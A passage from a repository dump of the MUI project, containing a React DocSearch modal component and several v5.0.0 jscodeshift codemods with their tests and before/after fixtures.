onOpen = React.useCallback(() => {\n    setIsOpen(true);\n  }, [setIsOpen]);\n  const router = useRouter();\n  const productSpace = getUrlProduct(router.asPath);\n\n  const keyboardNavigator = {\n    navigate({ item }) {\n      const as = item.userLanguage !== 'en' ? `/${item.userLanguage}${item.as}` : item.as;\n      router.push(item.pathname, as);\n    },\n  };\n\n  const onClose = React.useCallback(() => {\n    const modal = document.querySelector('.DocSearch-Container');\n    if (modal) {\n      // fade out transition\n      modal.style.opacity = 0;\n    }\n    setIsOpen(false); // DO NOT call setIsOpen inside a timeout (it causes scroll issue).\n  }, [setIsOpen]);\n\n  const onInput = React.useCallback(\n    (event) => {\n      setIsOpen(true);\n      setInitialQuery(event.key);\n    },\n    [setIsOpen, setInitialQuery],\n  );\n\n  useDocSearchKeyboardEvents({\n    isOpen,\n    onOpen,\n    onClose,\n    onInput,\n    searchButtonRef,\n  });\n\n  React.useEffect(() => {\n    const addStartScreen = () => {\n      const dropDown = document.querySelector('.DocSearch-Dropdown');\n      const isExisting = document.querySelector('.DocSearch-NewStartScreen');\n      if (dropDown && !isExisting) {\n        dropDown.insertAdjacentHTML(\n          'beforeend',\n          ReactDOMServer.renderToStaticMarkup(<NewStartScreen />),\n        );\n      }\n    };\n    // add transition to Modal\n    if (isOpen) {\n      const modal = document.querySelector('.DocSearch-Container');\n      const searchInput = document.querySelector('.DocSearch-Input');\n      if (modal) {\n        modal.style.opacity = 1;\n        addStartScreen();\n      }\n      if (searchInput) {\n        const handleInput = (event) => {\n          const newStartScreen = document.querySelector('.DocSearch-NewStartScreen');\n          if (newStartScreen) {\n            newStartScreen.style.display = event.target.value !== '' ? 'none' : 'grid';\n          }\n        };\n        searchInput.addEventListener('input', handleInput);\n        return () => {\n          searchInput.removeEventListener('input', handleInput);\n        };\n      }\n    }\n    return () => {};\n  }, [isOpen]);\n\n  const search = `${t('algoliaSearch')}…`;\n\n  return (\n    <React.Fragment>\n      <SearchButton ref={searchButtonRef} onClick={onOpen}>\n        <SearchIcon\n          fontSize=\"small\"\n          sx={{\n            color: (theme) =>\n              theme.palette.mode === 'dark'\n                ? theme.palette.primary[300]\n                : theme.palette.primary[500],\n          }}\n        />\n        <SearchLabel>{search}</SearchLabel>\n        <Shortcut>{macOS ? '⌘' : 'Ctrl+'}K</Shortcut>\n      </SearchButton>\n      {isOpen &&\n        createPortal(\n          <DocSearchModal\n            initialQuery={initialQuery}\n            appId={'TZGZ85B9TB'}\n            apiKey={'8177dfb3e2be72b241ffb8c5abafa899'}\n            indexName=\"material-ui\"\n            searchParameters={{\n              facetFilters: ['version:master', facetFilterLanguage],\n              optionalFilters: [`product:${productSpace}`],\n              hitsPerPage: 40,\n            }}\n            placeholder={search}\n            transformItems={(items) => {\n              return items.map((item) => {\n                // `url` contains the domain\n                // but we want to link to the current domain e.g. deploy-preview-1--material-ui.netlify.app\n                const parseUrl = document.createElement('a');\n                parseUrl.href = item.url;\n\n                const { canonicalAs, canonicalPathname } = pathnameToLanguage(\n                  `${parseUrl.pathname}${parseUrl.hash}`,\n                );\n\n                return {\n                  ...item,\n                  pathname: canonicalPathname,\n                  as: canonicalAs,\n                  userLanguage,\n                };\n              });\n            }}\n            hitComponent={DocSearchHit}\n            initialScrollY={typeof window !== 'undefined' ? window.scrollY : undefined}\n            onClose={onClose}\n            navigator={keyboardNavigator}\n          />,\n          document.body,\n        )}\n      <GlobalStyles\n        styles={(theme) => ({\n          html: {\n            ':root': {\n              '--docsearch-primary-color':\n                theme.palette.mode === 'dark'\n                  ? theme.palette.primaryDark[300]\n                  : theme.palette.primary[500],\n              '--docsearch-text-color': theme.palette.text.primary,\n              '--docsearch-muted-color': theme.palette.grey[600],\n              '--docsearch-searchbox-shadow': 0,\n              '--docsearch-hit-shadow': 0,\n              '--docsearch-footer-shadow': 0,\n              '--docsearch-spacing': theme.spacing(1.5),\n              '--docsearch-hit-active-color':\n                theme.palette.mode === 'dark'\n                  ? theme.palette.primary[300]\n                  : theme.palette.primary[600],\n              '--docsearch-logo-color': theme.palette.grey[600],\n              '--docsearch-searchbox-focus-background': 'unset',\n              '--docsearch-footer-background': 'unset',\n              '--docsearch-modal-background': theme.palette.background.paper,\n            },\n          },\n          body: {\n            '.DocSearch-Container': {\n              transition: `opacity ${FADE_DURATION}ms`,\n              opacity: 0,\n              zIndex: theme.zIndex.tooltip + 100,\n              backgroundColor:\n                theme.palette.mode === 'dark'\n                  ? alpha(theme.palette.grey[900], 0.7)\n                  : alpha(theme.palette.grey[600], 0.2),\n              backdropFilter: 'blur(4px)',\n            },\n            '& .DocSearch-StartScreen': {\n              display: 'none',\n            },\n            '& .DocSearch-NewStartScreen': {\n              display: 'grid',\n              gridTemplateColumns: 'repeat(2, 1fr)',\n              gap: theme.spacing(2),\n              padding: theme.spacing(2, 1),\n            },\n            '& .DocSearch-NewStartScreenCategory': {\n              display: 'flex',\n              flexDirection: 'column',\n            },\n            '& .DocSearch-NewStartScreenTitle': {\n              display: 'flex',\n              alignItems: 'center',\n              padding: theme.spacing(1, 1),\n              fontSize: theme.typography.pxToRem(14),\n              color: theme.palette.text.secondary,\n            },\n            '& .DocSearch-NewStartScreenTitleIcon': {\n              color:\n                theme.palette.mode === 'dark'\n                  ? theme.palette.primaryDark[300]\n                  : theme.palette.primary[500],\n              marginRight: theme.spacing(1.5),\n              fontSize: theme.typography.pxToRem(16),\n            },\n            '& .DocSearch-NewStartScreenItem': {\n              display: 'flex',\n              alignItems: 'center',\n              cursor: 'pointer',\n              width: '100%',\n              padding: theme.spacing(0.5, 4.6),\n              color:\n                theme.palette.mode === 'dark'\n                  ? theme.palette.primaryDark[300]\n                  : theme.palette.primary[500],\n              fontWeight: 500,\n              fontSize: theme.typography.pxToRem(14),\n              '&:hover, &:focus': {\n                '.DocSearch-NewStartScreenItemIcon': {\n                  marginLeft: theme.spacing(1),\n                },\n              },\n            },\n            '& .DocSearch-NewStartScreenItemIcon': {\n              marginLeft: theme.spacing(0.5),\n              transition: 'margin 0.2s',\n              fontSize: theme.typography.pxToRem(16),\n            },\n            '& .DocSearch-Modal': {\n              maxWidth: '700px',\n              boxShadow: `0px 4px 20px ${\n                theme.palette.mode === 'dark'\n                  ? alpha(theme.palette.background.paper, 0.7)\n                  : alpha(theme.palette.grey[700], 0.2)\n              }`,\n              ...(theme.palette.mode === 'dark' && {\n                border: '1px solid',\n                borderColor: theme.palette.primaryDark[700],\n              }),\n              // docsearch.css: <= 750px will be full screen modal\n              borderRadius: `clamp(0px, (100vw - 750px) * 9999, ${theme.shape.borderRadius}px)`,\n            },\n            '& .DocSearch-SearchBar': {\n              borderBottom: '1px solid',\n              borderColor:\n                theme.palette.mode === 'dark'\n                  ? theme.palette.primaryDark[700]\n                  : theme.palette.grey[200],\n              padding: theme.spacing(1),\n            },\n            '& .DocSearch-Form': {\n              '& .DocSearch-Reset': {\n                display: 'none',\n              },\n              '& .DocSearch-Input': {\n                paddingLeft: theme.spacing(2.5),\n              },\n              '& .DocSearch-Search-Icon': {\n                width: '20px',\n                height: '20px',\n              },\n            },\n            '& .DocSearch-Cancel': {\n              display: 'block',\n              alignSelf: 'center',\n              height: '1.5rem',\n              marginRight: theme.spacing(1),\n              padding: theme.spacing(0.3, 0.8, 0.6, 0.8),\n              fontSize: 0,\n              borderRadius: 5,\n              backgroundColor:\n                theme.palette.mode === 'dark'\n                  ? theme.palette.primaryDark[800]\n                  : theme.palette.grey[50],\n              border: '1px solid',\n              borderColor:\n                theme.palette.mode === 'dark'\n                  ? theme.palette.primaryDark[600]\n                  : theme.palette.grey[300],\n              '&::before': {\n                content: '\"esc\"',\n                fontSize: theme.typography.pxToRem(12),\n                letterSpacing: '.08rem',\n                fontWeight: 700,\n                color: theme.palette.text.secondary,\n              },\n            },\n            '& .DocSearch-Dropdown': {\n              minHeight: 384, // = StartScreen height, to prevent layout shift when first char\n              '&::-webkit-scrollbar-thumb': {\n                borderColor:\n                  theme.palette.mode === 'dark'\n                    ? theme.palette.primaryDark[900]\n                    : theme.palette.background.paper,\n                backgroundColor:\n                  theme.palette.mode === 'dark'\n                    ? theme.palette.primaryDark[700]\n                    : theme.palette.grey[500],\n              },\n              '&::-webkit-scrollbar-track': {\n                backgroundColor: theme.palette.background.paper,\n              },\n            },\n            '& .DocSearch-Dropdown-Container': {\n              '& .DocSearch-Hits:first-of-type': {\n                '& .DocSearch-Hit-source': {\n                  paddingTop: theme.spacing(1),\n                },\n              },\n            },\n            '& .DocSearch-Hit-source': {\n              top: 'initial',\n              paddingTop: theme.spacing(2),\n              background: theme.palette.background.paper,\n              fontSize: theme.typography.pxToRem(13),\n              fontWeight: 500,\n              color: theme.palette.text.secondary,\n            },\n            '& .DocSearch-Hit': {\n              paddingBottom: 0,\n              '&:not(:first-of-type)': {\n                marginTop: -1,\n              },\n            },\n            '& .DocSearch-Hit a': {\n              backgroundColor: 'transparent',\n              padding: theme.spacing(0.25, 0),\n              paddingLeft: theme.spacing(2),\n              border: '1px solid transparent',\n              borderBottomColor:\n                theme.palette.mode === 'dark'\n                  ? theme.palette.primaryDark[700]\n                  : theme.palette.grey[100],\n            },\n            '& .DocSearch-Hit-content-wrapper': {\n              paddingLeft: theme.spacing(2),\n            },\n            '& .DocSearch-Hit-title': {\n              fontSize: theme.typography.pxToRem(14),\n              color: `${theme.palette.text.primary}`,\n            },\n            '& .DocSearch-Hit-path': {\n              fontSize: theme.typography.pxToRem(12),\n              color: `${theme.palette.text.secondary}`,\n            },\n            '& .DocSearch-Hit-Select-Icon': {\n              height: '15px',\n              width: '15px',\n            },\n            '& .DocSearch-Hit[aria-selected=\"true\"] a': {\n              backgroundColor:\n                theme.palette.mode === 'dark'\n                  ? theme.palette.primaryDark[800]\n                  : theme.palette.primary[50],\n              borderColor:\n                theme.palette.mode === 'dark'\n                  ? theme.palette.primaryDark[400]\n                  : theme.palette.primary[500],\n              borderRadius: theme.shape.borderRadius,\n            },\n            '& .DocSearch-Hit-action, & .DocSearch-Hits mark': {\n              color: `${\n                theme.palette.mode === 'dark'\n                  ? theme.palette.primary[400]\n                  : theme.palette.primary[500]\n              }`,\n            },\n            '& .DocSearch-Footer': {\n              borderTop: '1px solid',\n              borderColor:\n                theme.palette.mode === 'dark'\n                  ? theme.palette.primaryDark[700]\n                  : theme.palette.grey[200],\n              '& .DocSearch-Commands': {\n                display: 'none',\n              },\n            },\n          },\n        })}\n      />\n    </React.Fragment>\n  );\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/theme-spacing.test.js",
    "content": "import path from 'path';\nimport { expect } from 'chai';\nimport jscodeshift from 'jscodeshift';\nimport transform from './theme-spacing';\nimport readFile from '../util/readFile';\n\nfunction read(fileName) {\n  return readFile(path.join(__dirname, fileName));\n}\n\ndescribe('@mui/codemod', () => {\n  describe('v5.0.0', () => {\n    describe('theme-spacing', () => {\n      it('transforms props as needed', () => {\n        const actual = transform(\n          {\n            source: read('./theme-spacing.test/actual.js'),\n            path: require.resolve('./theme-spacing.test/actual.js'),\n          },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./theme-spacing.test/expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n\n      it('should be idempotent', () => {\n        const actual = transform(\n          {\n            source: read('./theme-spacing.test/expected.js'),\n            path: require.resolve('./theme-spacing.test/expected.js'),\n          },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./theme-spacing.test/expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n\n      it('large file - transforms props as needed', () => {\n        const actual = transform(\n          {\n            source: read('./theme-spacing.test/large-actual.js'),\n            path: require.resolve('./theme-spacing.test/large-actual.js'),\n          },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./theme-spacing.test/large-expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n\n      it('large file - should be idempotent', () => {\n        const actual = transform(\n          {\n            source: read('./theme-spacing.test/large-expected.js'),\n            path: require.resolve('./theme-spacing.test/large-expected.js'),\n          },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./theme-spacing.test/large-expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/theme-typography-round.js",
    "content": "/**\n * @param {import('jscodeshift').FileInfo} file\n */\nexport default function transformer(file) {\n  return file.source.replace(\n    /(theme\\.typography|typography)\\.round\\((.*)\\)/gm,\n    'Math.round($2 * 1e5) / 1e5',\n  );\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/theme-typography-round.test/actual.js",
    "content": "theme.typography.round(12.5)\n`${typography.round(0.6432)}rem`"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/theme-typography-round.test/expected.js",
    "content": "Math.round(12.5 * 1e5) / 1e5\n`${Math.round(0.6432 * 1e5) / 1e5}rem`"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/theme-typography-round.test.js",
    "content": "import path from 'path';\nimport { expect } from 'chai';\nimport jscodeshift from 'jscodeshift';\nimport transform from './theme-typography-round';\nimport readFile from '../util/readFile';\n\nfunction read(fileName) {\n  return readFile(path.join(__dirname, fileName));\n}\n\ndescribe('@mui/codemod', () => {\n  describe('v5.0.0', () => {\n    describe('theme-typography-round', () => {\n      it('transforms props as needed', () => {\n        const actual = transform(\n          {\n            source: read('./theme-typography-round.test/actual.js'),\n            path: require.resolve('./theme-typography-round.test/actual.js'),\n          },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./theme-typography-round.test/expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n\n      it('should be idempotent', () => {\n        const actual = transform(\n          {\n            source: read('./theme-typography-round.test/expected.js'),\n            path: require.resolve('./theme-typography-round.test/expected.js'),\n          },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./theme-typography-round.test/expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/top-level-imports.js",
    "content": "import { dirname } from 'path';\nimport addImports from 'jscodeshift-add-imports';\nimport getJSExports from '../util/getJSExports';\n\nexport default function transformer(fileInfo, api, options) {\n  const j = api.jscodeshift;\n  const importModule = options.importModule || '@mui/material';\n  const targetModule = options.targetModule || '@mui/material';\n\n  const whitelist = getJSExports(\n    require.resolve(`@mui/material-v5/modern`, {\n      paths: [dirname(fileInfo.path)],\n    }),\n  );\n  const printOptions = options.printOptions || {\n    quote: 'single',\n    trailingComma: true,\n  };\n\n  const root = j(fileInfo.source);\n  const importRegExp = new RegExp(`^${importModule}/(?:[^/]+/)*([^/]+)$`);\n\n  const resultSpecifiers = [];\n\n  root.find(j.ImportDeclaration).forEach((path) => {\n    if (!path.node.specifiers.length) {\n      return;\n    }\n\n    if (path.value.importKind && path.value.importKind !== 'value') {\n      return;\n    }\n    const importPath = path.value.source.value;\n    const match = importPath.match(importRegExp);\n    if (!match) {\n      return;\n    }\n\n    if (importPath.includes('internal/')) {\n      return;\n    }\n\n    path.node.specifiers.forEach((specifier, index) => {\n      if (specifier.importKind && specifier.importKind !== 'value') {\n        return;\n      }\n      if (specifier.type === 'ImportNamespaceSpecifier') {\n        return;\n      }\n\n      switch (specifier.type) {\n        case 'ImportDefaultSpecifier': {\n          const localName = specifier.local.name;\n          const moduleName = match[1];\n          if (!whitelist.has(moduleName)) {\n            return;\n          }\n          resultSpecifiers.push(\n            j.importSpecifier(j.identifier(moduleName), j.identifier(localName)),\n          );\n          path.get('specifiers', index).prune();\n          break;\n        }\n        case 'ImportSpecifier':\n          if (!whitelist.has(specifier.imported.name) && specifier.imported.name !== 'withStyles') {\n            return;\n          }\n          resultSpecifiers.push(specifier);\n          path.get('specifiers', index).prune();\n          break;\n        default:\n          break;\n      }\n    });\n\n    if (!path.node.specifiers.length) {\n      path.prune();\n    }\n  });\n\n  if (resultSpecifiers.length) {\n    addImports(root, j.importDeclaration(resultSpecifiers, j.stringLiteral(targetModule)));\n  }\n\n  return root.toSource(printOptions);\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/top-level-imports.test/actual.js",
    "content": "\nimport { withStyles } from '@mui/styles';\n\nimport { ThemeProvider } from '@mui/material/styles';\nimport { createTheme } from '@mui/material/styles';\nimport MenuItem from '@mui/material/MenuItem';\nimport Tab from '@mui/material/Tab';\nimport MuiTabs from '@mui/material/Tabs';\nimport BottomNavigationAction from '@mui/material/BottomNavigationAction';\nimport BottomNavigation from '@mui/material/BottomNavigation';\nimport CardContent from '@mui/material/CardContent';\nimport CardActions from '@mui/material/CardActions';\nimport Card from '@mui/material/Card';\nimport CardMedia from '@mui/material/CardMedia';\nimport CardHeader from '@mui/material/CardHeader';\nimport MuiCollapse from '@mui/material/Collapse';\nimport ListItemSecondaryAction from '@mui/material/ListItemSecondaryAction';\nimport ListItemText from '@mui/material/ListItemText';\nimport ListItemAvatar from '@mui/material/ListItemAvatar';\nimport ListItem from '@mui/material/ListItem';\nimport ListItemIcon from '@mui/material/ListItemIcon';\nimport List from '@mui/material/List';\nimport DialogTitle from '@mui/material/DialogTitle';\nimport Dialog from '@mui/material/Dialog';\nimport DialogContentText from '@mui/material/DialogContentText';\nimport DialogContent from '@mui/material/DialogContent';\nimport DialogActions from '@mui/material/DialogActions';\nimport Slide from '@mui/material/Slide';\nimport RadioGroup from '@mui/material/RadioGroup';\nimport Radio from '@mui/material/Radio';\nimport FormControlLabel from '@mui/material/FormControlLabel';\nimport AccordionActions from '@mui/material/AccordionActions';\nimport AccordionDetails from '@mui/material/AccordionDetails';\nimport AccordionSummary from '@mui/material/AccordionSummary';\nimport Accordion from '@mui/material/Accordion';\nimport CircularProgress from '@mui/material/CircularProgress';\nimport MuiLinearProgress from '@mui/material/LinearProgress';\nimport FormHelperText from '@mui/material/FormHelperText';\nimport FormGroup from '@mui/material/FormGroup';\nimport FormControl from '@mui/material/FormControl';\nimport FormLabel from '@mui/material/FormLabel';\nimport Fade from '@mui/material/Fade';\nimport StepContent from '@mui/material/StepContent';\nimport StepButton from '@mui/material/StepButton';\nimport Step from '@mui/material/Step';\nimport Stepper from '@mui/material/Stepper';\nimport TableRow from '@mui/material/TableRow';\nimport TablePagination from '@mui/material/TablePagination';\nimport TableCell from '@mui/material/TableCell';\nimport TableBody from '@mui/material/TableBody';\nimport Table from '@mui/material/Table';\nimport TableHead from '@mui/material/TableHead';\nimport InputLabel from '@mui/material/InputLabel';\nimport Input from '@mui/material/Input';\nimport Grow from '@mui/material/Grow';\nimport TableFooter from '@mui/material/TableFooter';\nimport Zoom from '@mui/material/Zoom';\nimport ClickAwayListener from '@mui/material/ClickAwayListener';\nimport ListSubheader from '@mui/material/ListSubheader';\nimport { grey, blue } from '@mui/material/colors';\nimport { grey as grey2 } from '@mui/material/colors';\nimport { blue as blue2 } from '@mui/material/colors';\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/top-level-imports.test/expected.js",
    "content": "\nimport { withStyles } from '@mui/styles';\n\nimport { ThemeProvider } from '@mui/material/styles';\nimport { createTheme } from '@mui/material/styles';\nimport { grey, blue } from '@mui/material/colors';\nimport { grey as grey2 } from '@mui/material/colors';\nimport { blue as blue2 } from '@mui/material/colors';\n\nimport {\n  MenuItem,\n  Tab,\n  Tabs as MuiTabs,\n  BottomNavigationAction,\n  BottomNavigation,\n  CardContent,\n  CardActions,\n  Card,\n  CardMedia,\n  CardHeader,\n  Collapse as MuiCollapse,\n  ListItemSecondaryAction,\n  ListItemText,\n  ListItemAvatar,\n  ListItem,\n  ListItemIcon,\n  List,\n  DialogTitle,\n  Dialog,\n  DialogContentText,\n  DialogContent,\n  DialogActions,\n  Slide,\n  RadioGroup,\n  Radio,\n  FormControlLabel,\n  AccordionActions,\n  AccordionDetails,\n  AccordionSummary,\n  Accordion,\n  CircularProgress,\n  LinearProgress as MuiLinearProgress,\n  FormHelperText,\n  FormGroup,\n  FormControl,\n  FormLabel,\n  Fade,\n  StepContent,\n  StepButton,\n  Step,\n  Stepper,\n  TableRow,\n  TablePagination,\n  TableCell,\n  TableBody,\n  Table,\n  TableHead,\n  InputLabel,\n  Input,\n  Grow,\n  TableFooter,\n  Zoom,\n  ClickAwayListener,\n  ListSubheader,\n} from '@mui/material';\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/top-level-imports.test.js",
    "content": "import path from 'path';\nimport { expect } from 'chai';\nimport jscodeshift from 'jscodeshift';\nimport transform from './top-level-imports';\nimport readFile from '../util/readFile';\n\nfunction trim(str) {\n  return str ? str.replace(/^\\s+|\\s+$/, '') : '';\n}\n\nfunction read(fileName) {\n  return readFile(path.join(__dirname, fileName));\n}\n\ndescribe('@mui/codemod', () => {\n  describe('v5.0.0', () => {\n    describe('top-level-imports', () => {\n      it('convert path as needed', () => {\n        this?.timeout?.(20000);\n        const actual = transform(\n          {\n            source: read('./top-level-imports.test/actual.js'),\n            path: require.resolve('./top-level-imports.test/actual.js'),\n          },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./top-level-imports.test/expected.js');\n        expect(trim(actual)).to.equal(trim(expected), 'The transformed version should be correct');\n      });\n\n      it('should be idempotent', () => {\n        const actual = transform(\n          {\n            source: read('./top-level-imports.test/expected.js'),\n            path: require.resolve('./top-level-imports.test/expected.js'),\n          },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./top-level-imports.test/expected.js');\n        expect(trim(actual)).to.equal(trim(expected), 'The transformed version should be correct');\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/transitions.js",
    "content": "/**\n * @param {import('jscodeshift').FileInfo} file\n * @param {import('jscodeshift').API} api\n */\nexport default function transformer(file, api, options) {\n  const j = api.jscodeshift;\n  const printOptions = options.printOptions || { quote: 'single' };\n\n  const root = j(file.source);\n\n  let variableName;\n\n  root\n    .find(j.ImportDeclaration)\n    .filter(({ node }) => node.source.value === '@material-ui/core/styles/transitions')\n    .forEach((path) => {\n      const specifier = path.node.specifiers[0];\n      if (specifier) {\n        if (specifier.type === 'ImportDefaultSpecifier') {\n          variableName = specifier.local.name;\n        }\n        specifier.local = j.identifier('createTransitions');\n      }\n      path.node.source = j.literal('@material-ui/core/styles/createTransitions');\n    });\n\n  if (variableName) {\n    root\n      .find(j.ImportDeclaration)\n      .at(-1)\n      .insertAfter(`const ${variableName} = createTransitions({});`);\n  }\n\n  return root.toSource(printOptions);\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/transitions.test/actual.js",
    "content": "import transitions, {\n  Easing,\n  Duration as TransitionDuration,\n} from '@material-ui/core/styles/transitions';\n\n// type A = TransitionDuration | Easing\n\nexport const MuiButtonBaseStyleOverrides = {\n  root: {\n    '&.MuiButton-root': {\n      fontFamily: '\"Nunito\", Avenir, sans-serif',\n      boxSizing: 'border-box',\n      transition: transitions.create(['background-color', 'box-shadow', 'border'], {\n        duration: transitions.duration.short,\n      }),\n    },\n  },\n};\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/transitions.test/expected.js",
    "content": "import createTransitions, {\n  Easing,\n  Duration as TransitionDuration,\n} from '@material-ui/core/styles/createTransitions';\n\nconst transitions = createTransitions({});\n\n// type A = TransitionDuration | Easing\n\nexport const MuiButtonBaseStyleOverrides = {\n  root: {\n    '&.MuiButton-root': {\n      fontFamily: '\"Nunito\", Avenir, sans-serif',\n      boxSizing: 'border-box',\n      transition: transitions.create(['background-color', 'box-shadow', 'border'], {\n        duration: transitions.duration.short,\n      }),\n    },\n  },\n};\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/transitions.test.js",
    "content": "import path from 'path';\nimport { expect } from 'chai';\nimport jscodeshift from 'jscodeshift';\nimport transform from './transitions';\nimport readFile from '../util/readFile';\n\nfunction read(fileName) {\n  return readFile(path.join(__dirname, fileName));\n}\n\ndescribe('@mui/codemod', () => {\n  describe('v5.0.0', () => {\n    describe('transitions', () => {\n      it('transforms transitions as needed', () => {\n        const actual = transform(\n          {\n            source: read('./transitions.test/actual.js'),\n            path: require.resolve('./transitions.test/actual.js'),\n          },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./transitions.test/expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n\n      it('should be idempotent', () => {\n        const actual = transform(\n          {\n            source: read('./transitions.test/expected.js'),\n            path: require.resolve('./transitions.test/expected.js'),\n          },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./transitions.test/expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/tree-view-moved-to-x.js",
    "content": "const exports = {\n  TreeView: {\n    default: 'TreeView',\n    named: [\n      'treeViewClasses',\n      'TreeViewClasses',\n      'TreeViewClassKey',\n      'getTreeViewUtilityClass',\n      'TreeViewPropsBase',\n      'TreeViewProps',\n      'SingleSelectTreeViewProps',\n      'MultiSelectTreeViewProps',\n    ],\n  },\n  TreeItem: {\n    default: 'TreeItem',\n    named: [\n      'useTreeItem',\n      'treeItemClasses',\n      'TreeItemClasses',\n      'TreeItemClassKey',\n      'getTreeItemUtilityClass',\n      'TreeItemProps',\n      'TreeItemContentProps',\n    ],\n  },\n};\n\nconst buildLookup = () => {\n  return Object.fromEntries(\n    Object.entries(exports).flatMap(([entryPoint, entryPointData]) =>\n      [entryPointData.default, ...entryPointData.named].map((exportName) => [\n        exportName,\n        { entryPoint },\n      ]),\n    ),\n  );\n};\n\n/**\n * @param {import('jscodeshift').FileInfo} file\n * @param {import('jscodeshift').API} api\n */\nexport default function transformer(fileInfo, api, options) {\n  const j = api.jscodeshift;\n  const printOptions = options.printOptions || { quote: 'single' };\n\n  const lookup = buildLookup();\n\n  const root = j(fileInfo.source);\n\n  root\n    .find(j.ImportDeclaration)\n    .forEach((path) => {\n      const importSource = path.node.source.value;\n      const subPackageImportMatch = importSource.match(/@mui\\/lab\\/(.*)/);\n      if (subPackageImportMatch !== null) {\n        const subModule = subPackageImportMatch[1];\n\n        if (subModule.startsWith('internal')) {\n          console.warn('Imports from `@mui/lab/internal` are not supported');\n          return;\n        }\n\n        if (exports[subModule]) {\n          /**\n           * @type {import('jscodeshift').ASTPath}\n           */\n          const sourcePath = path.get('source');\n          const targetPackage = '@mui/x-tree-view';\n          const targetImportPath = `${targetPackage}/${subModule}`;\n          sourcePath.replace(j.stringLiteral(targetImportPath));\n\n          const importDeclaration = path.value;\n          importDeclaration.specifiers = importDeclaration.specifiers.map((specifier) => {\n            if (specifier.type === 'ImportDefaultSpecifier') {\n              const localName = specifier.local.name;\n              return j.importSpecifier(j.identifier(subModule), j.identifier(localName));\n            }\n            return specifier;\n          });\n        }\n      } else if (importSource === '@mui/lab') {\n        // Sieve import specifiers into /core and /lab\n        const xImportSpecifiers = [];\n        const labImportSpecifiers = [];\n        path.node.specifiers.forEach((specifier) => {\n          if (specifier.type === 'ImportSpecifier') {\n            const lookupValue = lookup[specifier.imported.name];\n            if (lookupValue) {\n              xImportSpecifiers.push(specifier);\n            } else {\n              labImportSpecifiers.push(specifier);\n            }\n          } else {\n            // `import Lab from '@material-ui/lab'`\n            // `import * as Lab from '@material-ui/lab'`\n            // These imports would require scope analysis.\n            console.warn(`Can't handle ${specifier.type}`);\n          }\n        });\n\n        if (xImportSpecifiers.length > 0) {\n          const targetPackage = '@mui/x-tree-view';\n          path.replace(\n            j.importDeclaration(xImportSpecifiers, j.stringLiteral(targetPackage)),\n            j.importDeclaration(labImportSpecifiers, j.stringLiteral('@mui/lab')),\n          );\n        }\n      }\n    })\n    .toSource(printOptions);\n\n  return root.toSource(printOptions);\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/tree-view-moved-to-x.test/actual-root.js",
    "content": "import {\n  TreeView,\n  treeViewClasses,\n  TreeViewClasses,\n  TreeViewClassKey,\n  getTreeViewUtilityClass,\n  TreeViewPropsBase,\n  TreeViewProps,\n  SingleSelectTreeViewProps,\n  MultiSelectTreeViewProps,\n  TreeItem,\n  useTreeItem,\n  treeItemClasses,\n  TreeItemClasses,\n  TreeItemClassKey,\n  getTreeItemUtilityClass,\n  TreeItemProps,\n  TreeItemContentProps,\n  treeViewClasses as classes,\n  Timeline,\n} from '@mui/lab'\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/tree-view-moved-to-x.test/actual-sub-module.js",
    "content": "import TreeView, {\n  treeViewClasses,\n  TreeViewClasses,\n  TreeViewClassKey,\n  getTreeViewUtilityClass,\n  TreeViewPropsBase,\n  TreeViewProps,\n  SingleSelectTreeViewProps,\n  MultiSelectTreeViewProps,\n  treeViewClasses as classes,\n} from '@mui/lab/TreeView';\nimport TreeItem, {\n  useTreeItem,\n  treeItemClasses,\n  TreeItemClasses,\n  TreeItemClassKey,\n  getTreeItemUtilityClass,\n  TreeItemProps,\n  TreeItemContentProps,\n} from '@mui/lab/TreeItem';\nimport AliasTreeV from '@mui/lab/TreeItem'\nimport Timeline from '@mui/lab/Timeline';\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/tree-view-moved-to-x.test/expected-root.js",
